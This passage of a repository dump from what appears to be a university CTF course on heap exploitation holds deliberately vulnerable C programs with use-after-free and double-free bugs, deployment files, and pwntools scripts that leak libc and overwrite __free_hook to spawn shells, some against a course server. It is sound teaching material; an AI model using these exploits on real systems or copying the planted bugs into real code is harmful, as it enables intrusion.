}\nleave:\n    return 0;\n}"
  },
  {
    "path": "2021/week2/hw/beeftalk/share/beeftalk.h",
    "content": "#ifndef _BEEFTALK_H_\n#define _BEEFTALK_H_\n\nconst char *banner = \"\"\n\"  ____             __ _        _ _    \\n\"\n\" | __ )  ___  ___ / _| |_ __ _| | | __\\n\"\n\" |  _ \\\\ / _ \\\\/ _ \\\\ |_| __/ _` | | |/ /\\n\"\n\" | |_) |  __/  __/  _| || (_| | |   < \\n\"\n\" |____/ \\\\___|\\\\___|_|  \\\\__\\\\__,_|_|_|\\\\_\\\\\\n\"\n\"\\n\"\n\"The greatest chat software in the world !\\n\"\n\"Welcome ! If you use our service first time, make sure you have an account :)\";\n\nvoid readstr();\nvoid show_chat_menu();\nvoid show_begin_menu();\nunsigned char readc();\nunsigned long readu64();\nunsigned long readlx64();\nlong int readi64();\nssize_t safe_read(int, void*, size_t);\n\nssize_t safe_read(int fd, void *ptr, size_t count)\n{\n    int nread = 0;\n    nread = read(fd, ptr, count);\n    if (nread <= 0)\n        exit(1);\n    return nread;\n}\n\nvoid readstr(char *ptr, unsigned cnt)\n{\n    int nread = 0;\n    nread = safe_read(0, ptr, cnt + 1);\n    ptr[nread - 1] = '\\0';\n}\n\nunsigned long readu64()\n{\n    char str[0x20] = {0};\n    readstr(str, 0x10);\n    return strtoul(str, NULL, 10);\n}\n\nunsigned long readlx64()\n{\n    char str[0x20] = {0};\n    readstr(str, 0x10);\n    return strtoul(str, NULL, 16);\n}\n\nlong int readi64()\n{\n    char str[0x20] = {0};\n    readstr(str, 0x10);\n    return strtol(str, NULL, 10);\n}\n\nunsigned char readc()\n{\n    char c = getc(stdin);\n    getc(stdin);\n    return c;\n}\n\nvoid show_chat_menu()\n{\n    puts(\"1. update information\");\n    puts(\"2. chat with other\");\n    puts(\"3. delete account\");\n    puts(\"4. logout\");\n    printf(\"> \");\n}\n\nvoid show_begin_menu()\n{\n    puts(\"1. login\");\n    puts(\"2. signup\");\n    puts(\"3. leave\");\n    printf(\"> \");\n}\n\n#endif"
  },
  {
    "path": "2021/week2/hw/beeftalk/share/flag",
    "content": "FLAG{test}"
  },
  {
    "path": "2021/week2/hw/beeftalk/share/run.sh",
    "content": "#!/bin/sh\n\nexec 2>/dev/null\ntimeout 60 /home/beeftalk/beeftalk"
  },
  {
    "path": "2021/week2/hw/beeftalk/xinetd",
    "content": "service beeftalk\n{\n    disable = no\n    type = UNLISTED\n    socket_type = stream\n    protocol = tcp\n    server = /home/beeftalk/run.sh\n    user = beeftalk\n    port = 30207\n    flags = REUSE\n    bind = 0.0.0.0\n    wait = no\n}"
  },
  {
    "path": "2021/week2/hw/easyheap/Dockerfile",
    "content": "FROM ubuntu:20.04\nMAINTAINER u1f383\n\nRUN apt-get update && \\\n    DEBAIN_FRONTEND=noninteractive apt-get install -qy xinetd\n\nRUN useradd -m easyheap\nRUN chown -R root:root /home/easyheap\nRUN chmod -R 755 /home/easyheap\n\nCMD [\"/usr/sbin/xinetd\", \"-dontfork\"]"
  },
  {
    "path": "2021/week2/hw/easyheap/docker-compose.yml",
    "content": "version: '3'\n\nservices:\n  easyheap:\n    build: ./\n    volumes:\n      - ./share:/home/easyheap:ro\n      - ./xinetd:/etc/xinetd.d/easyheap:ro\n    ports:\n      - \"30211:30211\"\n    expose:\n      - \"30211\""
  },
  {
    "path": "2021/week2/hw/easyheap/share/Makefile",
    "content": "all:\n\tgcc -g -o easyheap easyheap.c"
  },
  {
    "path": "2021/week2/hw/easyheap/share/easyheap.c",
    "content": "#include <stdio.h>\n#include <unistd.h>\n#include <stdlib.h>\n#define MAX_BOOK_NUM 0x10\n\ntypedef struct _Book {\n    char *name;\n    unsigned long index;\n    unsigned long price;\n    unsigned long namelen;\n} Book;\n\nBook* books[ MAX_BOOK_NUM ];\n\nssize_t safe_read(int fd, void *ptr, size_t count)\n{\n    int nread = 0;\n    nread = read(fd, ptr, count);\n    if (nread <= 0)\n        exit(1);\n    return nread;\n}\n\nvoid readstr(char *ptr, unsigned cnt)\n{\n    int nread = 0;\n    nread = safe_read(0, ptr, cnt + 1);\n    ptr[nread - 1] = '\\0';\n}\n\nunsigned long readu64()\n{\n    char str[0x20] = {0};\n    readstr(str, 0x10);\n    return strtoul(str, NULL, 10);\n}\n\nvoid show_book(Book *book)\n{\n    printf(\"Index:\\t%lu\\n\", book->index);\n    printf(\"Name:\\t%s\\n\", book->name);\n    printf(\"Price:\\t%lu\\n\", book->price);\n}\n\nvoid add_book()\n{\n    unsigned long idx = 0;\n    unsigned long namelen = 0;\n\n    printf(\"Index: \");\n    idx = readu64();\n    if (idx >= MAX_BOOK_NUM || books[idx]) {\n        puts(\"Invalid\");\n        return;\n    }\n    printf(\"Length of name: \");\n    namelen = readu64();\n\n    if (namelen >= 0x440) {\n        puts(\"Too long\");\n        return;\n    }\n\n    books[idx] = (Book *) malloc(sizeof(Book));\n    books[idx]->name = malloc(namelen);\n    books[idx]->price = 0;\n    books[idx]->index = idx;\n    books[idx]->index = namelen;\n\n    printf(\"Name: \");\n    readstr(books[idx]->name, namelen);\n\n    printf(\"Price: \");\n    books[idx]->price = readu64();\n\n    puts(\"Create book successfully !\");\n    show_book(books[idx]);\n}\n\nvoid delete_book()\n{\n    unsigned long idx = 0;\n    \n    printf(\"Which book do you want to delete: \");\n    idx = readu64();\n    if (!books[idx]) {\n        puts(\"Invalid\");\n        return;\n    }\n\n    free(books[idx]->name);\n    free(books[idx]);\n}\n\nvoid edit_book()\n{\n    unsigned long idx = 0;\n    \n    printf(\"Which book do you want to edit: \");\n    idx = readu64();\n    if (!books[idx]) {\n        puts(\"Invalid\");\n        return;\n    }\n\n    printf(\"Name: \");\n    readstr(books[idx]->name, 0x20);\n\n    printf(\"Price: \");\n    books[idx]->price = readu64();\n\n    puts(\"Edit book successfully !\");\n    show_book(books[idx]);\n}\n\nvoid list_book()\n{\n    for (int i = 0; i < MAX_BOOK_NUM; i++) {\n        if (books[i]) {\n            puts(\"--------------------\");\n            show_book(books[i]);\n        }\n    }\n}\n\nvoid get_name_from_idx()\n{\n    unsigned long idx = 0;\n\n    printf(\"Index: \");\n    idx = readu64();\n    if (books[idx])\n        printf(\"Name: %s\\n\", books[idx]->name);\n    else\n        puts(\"Not found\");\n}\n\nint main()\n{\n    setvbuf(stdin, 0, _IONBF, 0);\n    setvbuf(stdout, 0, _IONBF, 0);\n\n    unsigned long opt = 0;\n    while (1)\n    {\n        printf(\"--- happy bookstore ---\\n\"\n                \"1. add book\\n\"\n                \"2. delete book\\n\"\n                \"3. edit book\\n\"\n                \"4. list books\\n\"\n                \"5. find book\\n\"\n                \"6. leave\\n\"\n                \"> \");\n        \n        opt = readu64();\n        switch (opt) {\n            case 1:\n                add_book();\n                break;\n            case 2:\n                delete_book();\n                break;\n            case 3:\n                edit_book();\n                break;\n            case 4:\n                list_book();\n                break;\n            case 5:\n                get_name_from_idx();\n                break;\n            case 6:\n                puts(\"Goodbye~\");\n                goto leave;\n            default:\n                puts(\"Invalid\");\n                break;\n        }\n    }\n\nleave:\n    return 0;\n}"
  },
  {
    "path": "2021/week2/hw/easyheap/share/flag",
    "content": "FLAG{test}"
  },
  {
    "path": "2021/week2/hw/easyheap/share/run.sh",
    "content": "#!/bin/sh\n\nexec 2>/dev/null\ntimeout 60 /home/easyheap/easyheap"
  },
  {
    "path": "2021/week2/hw/easyheap/xinetd",
    "content": "service easyheap\n{\n    disable = no\n    type = UNLISTED\n    socket_type = stream\n    protocol = tcp\n    server = /home/easyheap/run.sh\n    user = easyheap\n    port = 30211\n    flags = REUSE\n    bind = 0.0.0.0\n    wait = no\n}"
  },
  {
    "path": "2021/week2/hw/exp/beeftalk.py",
    "content": "#!/usr/bin/python3\n\nfrom pwn import *\n\ncontext.arch = 'amd64'\ncontext.terminal = ['tmux', 'splitw', '-h']\n\nr = process('./beeftalk')\n\ndef login(token):\n    r.sendlineafter('> ', '1')\n    r.sendlineafter('Give me your token: \\n> ', token)\n\ndef signup(name, desc, job, money, correct):\n    r.sendlineafter('> ', '2')\n    r.sendafter(\"What's your name ?\\n> \", name)\n    r.sendafter(\"What's your desc ?\\n> \", desc)\n    r.sendafter(\"What's your job ?\\n> \", job)\n    r.sendlineafter(\"How much money do you have ?\\n> \", str(money))\n    r.sendlineafter(\"Is correct ?\\n(y/n) > \", correct)\n    r.recvuntil('Done! This is your login token: ')\n    return r.recvline()[:-1]\n\ndef leave():\n    r.sendlineafter('> ', '3')\n\n# -------- after login --------\ndef update(name, desc, job, money):\n    r.sendlineafter('> ', '1')\n    r.sendafter('Name: \\n> ', name)\n    r.sendafter('Desc: \\n> ', desc)\n    r.sendafter('Job: \\n> ', job)\n    r.sendlineafter('Money: \\n> ', str(money))\n\ndef delete():\n    r.sendlineafter('> ', '3')\n    r.sendlineafter('> ', 'y')\n\ndef logout():\n    r.sendlineafter('> ', '4')\n\ntokens = [None] * 8\nfor i in range(8):\n    tokens[i] = signup(b'\\x00'*0xf8, 'A', 'A', 0xdeadbeef, 'y')\n\nfor i in range(2):\n    login(tokens[i])\n    delete()\n\nlogin(tokens[1])\nr.recvuntil('Hello ')\nheap = u64(r.recv(6).ljust(8, b'\\x00')) - 0x2a0\ninfo(f\"heap: {hex(heap)}\")\nlogout()\n\nfor i in range(2, 8):\n    login(tokens[i])\n    delete()\n\n# make 0x50 chunk in sorted bin to small bin\ntokens[0] = signup(b'\\x00'*0xf8, 'A', 'A', 0xdeadbeef, 'y') # 0\nlogin(tokens[3])\nr.recvuntil('Hello ')\nlibc = u64(r.recv(6).ljust(8, b'\\x00')) - 0x1ebc10\n_system = libc + 0x55410\n__free_hook = libc + 0x1eeb28\ninfo(f\"libc: {hex(libc)}\")\nlogout()\n\nlogin(tokens[2]) # will be desc of token[0]\nupdate(\n    p64(0) + p64(0x51) + p64(0) + p64(__free_hook - 8)[:-1],\n    b\"/bin/sh\\x00\" + p64(_system),\n    'A', 0xdeadbeef\n)\ndelete()\n\nr.interactive()"
  },
  {
    "path": "2021/week2/hw/exp/easyheap.py",
    "content": "#!/usr/bin/python3\n\nfrom pwn import *\nimport sys\n\ncontext.arch = 'amd64'\ncontext.terminal = ['tmux', 'splitw', '-h']\n\nif len(sys.argv) > 1:\n    r = remote('edu-ctf.zoolab.org', 30211)\nelse:\n    r = process('./easyheap')\n\ndef add(idx, nlen, name, price):\n    r.sendlineafter('> ', '1')\n    r.sendlineafter('Index: ', str(idx))\n    r.sendlineafter('Length of name: ', str(nlen))\n    r.sendlineafter('Name: ', name)\n    r.sendlineafter('Price: ', str(price))\n\ndef delete(idx):\n    r.sendlineafter('> ', '2')\n    r.sendlineafter('Which book do you want to delete: ', str(idx))\n\ndef edit(idx, name, price):\n    r.sendlineafter('> ', '3')\n    r.sendlineafter('Which book do you want to edit: ', str(idx))\n    r.sendlineafter('Name: ', name)\n    r.sendlineafter('Price: ', str(price))\n\ndef list_():\n    r.sendlineafter('> ', '4')\n\ndef find_(idx):\n    r.sendlineafter('> ', '5')\n    r.sendlineafter('Index: ', str(idx))\n\nadd(0, 0x410, 'A', 0)\nadd(1, 0x10, 'A', 0)\nadd(2, 0x28, 'A', 0)\ndelete(0)\nlist_()\nr.recvuntil('Index:\\t')\nheap = int(r.recvline()[:-1]) - 0x10\ninfo(f\"heap: {hex(heap)}\")\n\ndelete(1)\ndelete(2)\nadd(3, 0x10, 'A', 0)\nadd(4, 0x28, p64(heap+0x2d0) + p64(0x28), 0)\nlist_()\nr.recvuntil('--------------------')\nr.recvuntil('--------------------')\nr.recvuntil('Name:\\t')\nlibc = u64(r.recv(6).ljust(8, b'\\x00')) - 0x1ebbe0\n__free_hook = libc + 0x1eeb28\n_system = libc + 0x55410\ninfo(f\"libc: {hex(libc)}\")\n\nedit(4, p64(heap+0x98), 0)\nedit(1, p64(__free_hook - 0x10), 0)\nadd(5, 0x10, '/bin/sh', str(_system))\ndelete(5)\n\nr.interactive()"
  },
  {
    "path": "2021/week2/hw/exp/final.py",
    "content": "#!/usr/bin/python3\n\nfrom pwn import *\nimport sys\n\ncontext.arch = 'amd64'\ncontext.terminal = ['tmux', 'splitw', '-h']\n\nif len(sys.argv) != 2:\n    print(\"./demo_final 1 - UAF              --> overwrite func ptr          --> system(\\\"/bin/sh\\\")\")\n    print(\"./demo_final 2 - hijack name ptr  --> overwrite next chk func ptr --> one gadget\")\n    print(\"./demo_final 3 - heap overflow    --> tcache poisoning            --> __free_hook to system --> free(\\\"/bin/sh\\\")\")\n    exit(1)\n    \n# r = process('./final')\nr = remote('edu-ctf.zoolab.org', 30210)\n\ndef buy(idx, nlen, name):\n    r.sendlineafter('> ', '1')\n    r.sendlineafter('cat or dog ?\\n> ', 'cat')\n    r.sendlineafter(\"len of name:\\n> \", str(nlen))\n    r.sendafter('name:\\n> ', name)\n    r.sendlineafter('where to keep (0 or 1) ?\\n> ', str(idx))\n\ndef release(idx):\n    r.sendlineafter('> ', '2')\n    r.sendlineafter('which one to release (0 or 1) ?\\n> ', str(idx))\n\ndef change(idx, nlen, name, len_change):\n    r.sendlineafter('> ', '3')\n    r.sendlineafter('which one to change (0 or 1) ?\\n> ', str(idx))\n    if len_change == True:\n        r.sendlineafter('will the len of name change (y/n) ?\\n> ', 'y')\n        r.sendlineafter(\"new len of name:\\n> \", str(nlen))\n    else:\n        r.sendlineafter('will the len of name change (y/n) ?\\n> ', 'n')\n    r.sendafter('new name:\\n> ', name)\n\ndef play(idx):\n    r.sendlineafter('> ', '4')\n    r.sendlineafter('which one to play (0 or 1) ?\\n> ', str(idx))\n\n# 1. 首先 allocate chunk size 0x420，釋放後再次取得，利用殘留在 chunk 的 unsorted bin 位址來 leak libc\nbuy(0, 0x410, 'dummy')\nbuy(1, 0x410, 'dummy') # 由於 freed chunk 相鄰 top chunk 時會觸發 consolidate，因此多放一塊 chk 來避免\nrelease(0)\nbuy(0, 0x410, 'AAAAAAAA')\nplay(0)\nr.recvuntil('A'*8)\n# 從 bk 留下的 unsorted bin address 來 leak\nlibc = u64(r.recv(6).ljust(8, b'\\x00')) - 0x1ebbe0\n_system = libc + 0x55410\n__free_hook = libc + 0x1eeb28\none_shot = libc + 0xe6c84\nbinsh = libc + 0x1b75aa\ninfo(f\"libc: {hex(libc)}\")\n\n# 2. 再利用 UAF 去 leak tcache 的 fd，得到 heap address\nbuy(0, 0x10, 'dummy')\nbuy(1, 0x10, 'dummy')\nrelease(0)\nrelease(1)\nplay(1)\nr.recvuntil('MEOW, I am a cute ')\nheap = u64(r.recv(6).ljust(8, b'\\x00')) - 0xb40\ninfo(f\"heap: {hex(heap)}\")\n\nif sys.argv[1] == '1':\n    # 2. 從 tcache 當中依序取得 animals[1], animals[0]，分別 assign 給 animals[1]，\n    #    以及覆蓋成任意資料 animals[1]->name，而 name 可控，因此可以覆蓋原本的 animals[0]\n    #    - type: b'/bin/sh\\x00' + b'A'*0x8\n    #    - len: 0xdeadbeef\n    #    - name: 0xdeadbeef\n    #    - bark: system\n    buy(1, 0x28, b'/bin/sh\\x00' + b'A'*0x8 + p64(0xdeadbeef) + p64(0xdeadbeef) + p64(_system))\n    # 3. get shell\n    play(0)\nelif sys.argv[1] == '2':\n    # 2. 同上，不過這次要控 name 與 len，使其可以寫到其他 chunk 內的資料\n    #    - type: b'A'*0x10\n    #    - len: 0x10000\n    #    - name: heap\n    #    - bark: 0xdeadbeef\n    buy(1, 0x28, b'A'*0x10 + p64(0x10000) + p64(heap + 0xbe0) + p64(0xdeadbeef))\n    buy(1, 0x10, 'dummy')\n    # 3. 此時 animals[0] 可以寫 0x10000 大小的資料，並且 name 指向 heap+0xbe0，\n    #    我們 hijack animals[1] 的 func ptr 成 one gadget 做利用\n    #    - type: heap+0x100 (rdi: 指向 NULL 的 pointer)\n    #    - len: 0xdeadbeef\n    #    - name: heap+0x100 (rsi: 指向 NULL 的 pointer)\n    #    - bark: one gadget\n    change(0, 0xffffffff, p64(heap+0x100) + p64(0) + p64(0xdeadbeef) + p64(heap+0x100) + p64(one_shot), False)\n    # 4. 可惜 one gadget 中沒有我們都無法滿足條件，因此執行完後程式會 crash\n    play(1)\nelif sys.argv[1] == '3':\n    # 2. 同上，目標是要寫任意大小的\n    buy(1, 0x28, b'A'*0x10 + p64(0x10000) + p64(heap + 0xbe0) + p64(0xdeadbeef))\n    buy(1, 0x10, 'dummy')\n    release(1)\n    # 3. 蓋寫 animals[0] 的 key 時需注意 release() 也會釋放 name 欄位，因此要塞入一個合法的 chunk 位址\n    change(0, 0xffffffff, b'A'*0x10 + p64(0xdeadbeef) + p64(heap + 0xb40), False)\n    release(1)\n    change(0, 0xffffffff, b'A'*0x10 + p64(0xdeadbeef) + p64(heap + 0xb90), False)\n    release(1)\n    # 4. 此時我們可以蓋寫 tcache fd 成 __free_hook - 8，而 __free_hook-8 ~ __free_hook 可以放 \"/bin/sh\\x00\"\n    change(0, 0xffffffff, p64(__free_hook - 8), False)\n    # 當我們請求 0x28 大小的 chunk，會取得 __free_hook 的位址，寫入 system\n    buy(1, 0x28, b'/bin/sh\\x00' + p64(_system))\n    # 5. get shell\n    release(1)\nelse:\n    print(\"NO :(\")\n    r.close()\n    exit(1)\n\nr.interactive()"
  },
  {
    "path": "2021/week2/hw/final/Dockerfile",
    "content": "FROM ubuntu:20.04\nMAINTAINER u1f383\n\nRUN apt-get update && \\\n    DEBAIN_FRONTEND=noninteractive apt-get install -qy xinetd\n\nRUN useradd -m final\nRUN chown -R root:root /home/final\nRUN chmod -R 755 /home/final\n\nCMD [\"/usr/sbin/xinetd\", \"-dontfork\"]"
  },
  {
    "path": "2021/week2/hw/final/docker-compose.yml",
    "content": "version: '3'\n\nservices:\n  final:\n    build: ./\n    volumes:\n      - ./share:/home/final:ro\n      - ./xinetd:/etc/xinetd.d/final:ro\n    ports:\n      - \"30210:30210\"\n    expose:\n      - \"30210\""
  },
  {
    "path": "2021/week2/hw/final/share/Makefile",
    "content": "all:\n\tgcc -g -o final final.c"
  },
  {
    "path": "2021/week2/hw/final/share/final.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\n#include <string.h>\n\n// ***************** we don't care *****************\nssize_t safe_read(int fd, void *ptr, size_t count)\n{\n    int nread = 0;\n    nread = read(fd, ptr, count);\n    if (nread <= 0)\n        exit(1);\n    return nread;\n}\n\nvoid readstr(char *ptr, unsigned cnt)\n{\n    int nread = 0;\n    nread = safe_read(0, ptr, cnt + 1);\n    ptr[nread - 1] = '\\0';\n}\n\nunsigned long readu64()\n{\n    char str[0x20] = {0};\n    readstr(str, 0x10);\n    return strtoul(str, NULL, 10);\n}\n// *************************************************\n\ntypedef struct _Animal {\n    char type[0x10];\n    unsigned long len;\n    char *name;\n    void (*bark)(char *, char *);\n} Animal;\n\nAnimal *animals[2];\n\nvoid meow(char* type, char *name) { printf(\"MEOW, I am a cute %s, my name is %s !!\\n\", type, name); }\nvoid woof(char* type, char *name) { printf(\"WOOF, I am a cute %s, my name is %s !!\\n\", type, name); }\n\nvoid buy()\n{\n    Animal *ani = malloc(sizeof(Animal));\n    char tmp[0x10];\n    unsigned long idx = 0;\n\n    printf(\"cat or dog ?\\n> \");\n    readstr(tmp, 0x8);\n\n    if (!strncmp(tmp, \"cat\", 3)) {\n        strcpy(ani->type, \"Persian\");\n        ani->bark = meow;\n    } else {\n        strcpy(ani->type, \"Shiba\");\n        ani->bark = woof;\n    }\n    \n    // 由於名字的長度是可以控的，如果我們請求 chunk size >= 0x420，則此 chunk 在後續釋放時\n    // 會進入 unsorted bin，再次取得時 fd 與 bk 的位址會有 libc address\n    printf(\"len of name:\\n> \");\n    ani->len = readu64();\n\n    ani->name = malloc(ani->len);\n    printf(\"name:\\n> \");\n    // 因為 read 可以不以 \\x00 結尾，因此如果此時在 heap 上殘留記憶體位址，則可以 leak 出來\n    read(0, ani->name, ani->len);\n\n    printf(\"where to keep (0 or 1) ?\\n> \");\n    idx = readu64();\n\n    if (idx == 1)\n        animals[1] = ani;\n    else\n        animals[0] = ani;\n    \n    ani->bark( ani->type, ani->name );\n    puts(\"you get an animal !\");\n}\n\nvoid release()\n{\n    unsigned long idx = 0;\n    printf(\"which one to release (0 or 1) ?\\n> \");\n    idx = readu64();\n    if (idx != 0 && idx != 1) return;\n    \n    // 在釋放完後並沒有將 ptr 清成 NULL，可以做 double free\n    if (animals[idx]) {\n        free(animals[idx]->name);\n        free(animals[idx]);\n    }\n}\n\nvoid change()\n{\n    unsigned long idx = 0;\n    char buf[0x10] = {0};\n    printf(\"which one to change (0 or 1) ?\\n> \");\n    idx = readu64();\n    if (idx != 0 && idx != 1) return;\n\n    printf(\"will the len of name change (y/n) ?\\n> \");\n    readstr(buf, 0x8);\n    if (buf[0] == 'y') {\n        printf(\"new len of name:\\n> \");\n        free(animals[idx]->name);\n        animals[idx]->len = readu64();\n        animals[idx]->name = malloc(animals[idx]->len);\n    }\n\n    // 配合 release() 可以控制到 freed chunk，有 UAF 問題\n    printf(\"new name:\\n> \");\n    read(0, animals[idx]->name, animals[idx]->len);\n}\n\nvoid play()\n{\n    unsigned long idx = 0;\n    printf(\"which one to play (0 or 1) ?\\n> \");\n    idx = readu64();\n    if (idx != 0 && idx != 1) return;\n\n    // 由於使用 function pointer，因此若可以透過程式漏洞蓋寫 function pointer，\n    // 則可以輕易控制程式執行流程\n    animals[idx]->bark( animals[idx]->type, animals[idx]->name );\n}\n\nint main()\n{\n    setvbuf(stdin, 0, _IONBF, 0);\n    setvbuf(stdout, 0, _IONBF, 0);\n\n    while (1)\n    {\n        puts(\"1. buy an animal\");\n        puts(\"2. release animal\");\n        puts(\"3. change animal\");\n        puts(\"4. play with animal\");\n        printf(\"> \");\n        switch ( readu64() ) {\n            case 1:\n                buy();\n                continue;\n            case 2:\n                release();\n                continue;\n            case 3:\n                change();\n                continue;\n            case 4:\n                play();\n                continue;\n        }\n        break;\n    }\n\n    return 0;\n}"
  },
  {
    "path": "2021/week2/hw/final/share/final.py",
    "content": "#!/usr/bin/python3\n\nfrom pwn import *\nimport sys\n\ncontext.arch = 'amd64'\ncontext.terminal = ['tmux', 'splitw', '-h']\n\nif len(sys.argv) != 2:\n    print(\"./demo_final 1 - UAF              --> overwrite func ptr          --> system(\\\"/bin/sh\\\")\")\n    print(\"./demo_final 2 - hijack name ptr  --> overwrite next chk func ptr --> one gadget\")\n    print(\"./demo_final 3 - heap overflow    --> tcache poisoning            --> __free_hook to system --> free(\\\"/bin/sh\\\")\")\n    exit(1)\n    \n# r = process('./final')\nr = remote('edu-ctf.zoolab.org', 30210)\n\ndef buy(idx, nlen, name):\n    r.sendlineafter('> ', '1')\n    r.sendlineafter('cat or dog ?\\n> ', 'cat')\n    r.sendlineafter(\"len of name:\\n> \", str(nlen))\n    r.sendafter('name:\\n> ', name)\n    r.sendlineafter('where to keep (0 or 1) ?\\n> ', str(idx))\n\ndef release(idx):\n    r.sendlineafter('> ', '2')\n    r.sendlineafter('which one to release (0 or 1) ?\\n> ', str(idx))\n\ndef change(idx, nlen, name, len_change):\n    r.sendlineafter('> ', '3')\n    r.sendlineafter('which one to change (0 or 1) ?\\n> ', str(idx))\n    if len_change == True:\n        r.sendlineafter('will the len of name change (y/n) ?\\n> ', 'y')\n        r.sendlineafter(\"new len of name:\\n> \", str(nlen))\n    else:\n        r.sendlineafter('will the len of name change (y/n) ?\\n> ', 'n')\n    r.sendafter('new name:\\n> ', name)\n\ndef play(idx):\n    r.sendlineafter('> ', '4')\n    r.sendlineafter('which one to play (0 or 1) ?\\n> ', str(idx))\n\n# 1. 首先 allocate chunk size 0x420，釋放後再次取得，利用殘留在 chunk 的 unsorted bin 位址來 leak libc\nbuy(0, 0x410, 'dummy')\nbuy(1, 0x410, 'dummy') # 由於 freed chunk 相鄰 top chunk 時會觸發 consolidate，因此多放一塊 chk 來避免\nrelease(0)\nbuy(0, 0x410, 'AAAAAAAA')\nplay(0)\nr.recvuntil('A'*8)\n# 從 bk 留下的 unsorted bin address 來 leak\nlibc = u64(r.recv(6).ljust(8, b'\\x00')) - 0x1ebbe0\n_system = libc + 0x55410\n__free_hook = libc + 0x1eeb28\none_shot = libc + 0xe6c84\nbinsh = libc + 0x1b75aa\ninfo(f\"libc: {hex(libc)}\")\n\n# 2. 再利用 UAF 去 leak tcache 的 fd，得到 heap address\nbuy(0, 0x10, 'dummy')\nbuy(1, 0x10, 'dummy')\nrelease(0)\nrelease(1)\nplay(1)\nr.recvuntil('MEOW, I am a cute ')\nheap = u64(r.recv(6).ljust(8, b'\\x00')) - 0xb40\ninfo(f\"heap: {hex(heap)}\")\n\nif sys.argv[1] == '1':\n    # 2. 從 tcache 當中依序取得 animals[1], animals[0]，分別 assign 給 animals[1]，\n    #    以及覆蓋成任意資料 animals[1]->name，而 name 可控，因此可以覆蓋原本的 animals[0]\n    #    - type: b'/bin/sh\\x00' + b'A'*0x8\n    #    - len: 0xdeadbeef\n    #    - name: 0xdeadbeef\n    #    - bark: system\n    buy(1, 0x28, b'/bin/sh\\x00' + b'A'*0x8 + p64(0xdeadbeef) + p64(0xdeadbeef) + p64(_system))\n    # 3. get shell\n    play(0)\nelif sys.argv[1] == '2':\n    # 2. 同上，不過這次要控 name 與 len，使其可以寫到其他 chunk 內的資料\n    #    - type: b'A'*0x10\n    #    - len: 0x10000\n    #    - name: heap\n    #    - bark: 0xdeadbeef\n    buy(1, 0x28, b'A'*0x10 + p64(0x10000) + p64(heap + 0xbe0) + p64(0xdeadbeef))\n    buy(1, 0x10, 'dummy')\n    # 3. 此時 animals[0] 可以寫 0x10000 大小的資料，並且 name 指向 heap+0xbe0，\n    #    我們 hijack animals[1] 的 func ptr 成 one gadget 做利用\n    #    - type: heap+0x100 (rdi: 指向 NULL 的 pointer)\n    #    - len: 0xdeadbeef\n    #    - name: heap+0x100 (rsi: 指向 NULL 的 pointer)\n    #    - bark: one gadget\n    change(0, 0xffffffff, p64(heap+0x100) + p64(0) + p64(0xdeadbeef) + p64(heap+0x100) + p64(one_shot), False)\n    # 4. 可惜 one gadget 中沒有我們都無法滿足條件，因此執行完後程式會 crash\n    play(1)\nelif sys.argv[1] == '3':\n    # 2. 同上，目標是要寫任意大小的\n    buy(1, 0x28, b'A'*0x10 + p64(0x10000) + p64(heap + 0xbe0) + p64(0xdeadbeef))\n    buy(1, 0x10, 'dummy')\n    release(1)\n    # 3. 蓋寫 animals[0] 的 key 時需注意 release() 也會釋放 name 欄位，因此要塞入一個合法的 chunk 位址\n    change(0, 0xffffffff, b'A'*0x10 + p64(0xdeadbeef) + p64(heap + 0xb40), False)\n    release(1)\n    change(0, 0xffffffff, b'A'*0x10 + p64(0xdeadbeef) + p64(heap + 0xb90), False)\n    release(1)\n    # 4. 此時我們可以蓋寫 tcache fd 成 __free_hook - 8，而 __free_hook-8 ~ __free_hook 可以放 \"/bin/sh\\x00\"\n    change(0, 0xffffffff, p64(__free_hook - 8), False)\n    # 當我們請求 0x28 大小的 chunk，會取得 __free_hook 的位址，寫入 system\n    buy(1, 0x28, b'/bin/sh\\x00' + p64(_system))\n    # 5. get shell\n    release(1)\nelse:\n    print(\"NO :(\")\n    r.close()\n    exit(1)\n\nr.interactive()"
  },
  {
    "path": "2021/week2/hw/final/share/flag",
    "content": "FLAG{test}"
  },
  {
    "path": "2021/week2/hw/final/share/run.sh",
    "content": "#!/bin/sh\n\nexec 2>/dev/null\ntimeout 60 /home/final/final\n"
  },
  {
    "path": "2021/week2/hw/final/xinetd",
    "content": "service final\n{\n    disable = no\n    type = UNLISTED\n    socket_type = stream\n    protocol = tcp\n    server = /home/final/run.sh\n    user = final\n    port = 30210\n    flags = REUSE\n    bind = 0.0.0.0\n    wait = no\n}"
  },
  {
    "path": "2021/week2/lab/exp/market.py",
    "content": "#!/usr/bin/python3\n\nfrom pwn import *\n\nr = process('./market')\n\ncontext.arch = 'amd64'\ncontext.terminal = ['tmux', 'splitw', '-h']\n\nr.sendlineafter('need', 'n')\nr.sendlineafter('name', 'A')\nr.sendlineafter('long', str(0x280))\nr.sendafter('secret', b'A'*0x80 + b'\\xb0')\ngdb.attach(r)\n\nr.sendlineafter(\"> \", \"4\")\nr.sendlineafter('name', 'A')\nr.sendlineafter('long', str(0x10))\nr.sendafter('secret', b'A'*0x10)\n\nr.interactive()\n"
  },
  {
    "path": "2021/week2/lab/heapmath/Dockerfile",
    "content": "FROM ubuntu:20.04\nMAINTAINER u1f383\n\nRUN apt-get update && \\\n    DEBAIN_FRONTEND=noninteractive apt-get install -qy xinetd\n\nRUN useradd -m heapmath\nRUN chown -R root:root /home/heapmath\nRUN chmod -R 755 /home/heapmath\n\nCMD [\"/usr/sbin/xinetd\", \"-dontfork\"]"
  },
  {
    "path": "2021/week2/lab/heapmath/docker-compose.yml",
    "content": "version: '3'\n\nservices:\n  heapmath:\n    build: ./\n    volumes:\n      - ./share:/home/heapmath:ro\n      - ./xinetd:/etc/xinetd.d/heapmath:ro\n    ports:\n      - \"30208:30208\"\n    expose:\n      - \"30208\""
  },
  {
    "path": "2021/week2/lab/heapmath/share/Makefile",
    "content": "all:\n\tgcc -g -o heapmath heapmath.c"
  },
  {
    "path": "2021/week2/lab/heapmath/share/flag",
    "content": "FLAG{test}"
  },
  {
    "path": "2021/week2/lab/heapmath/share/heapmath.c",
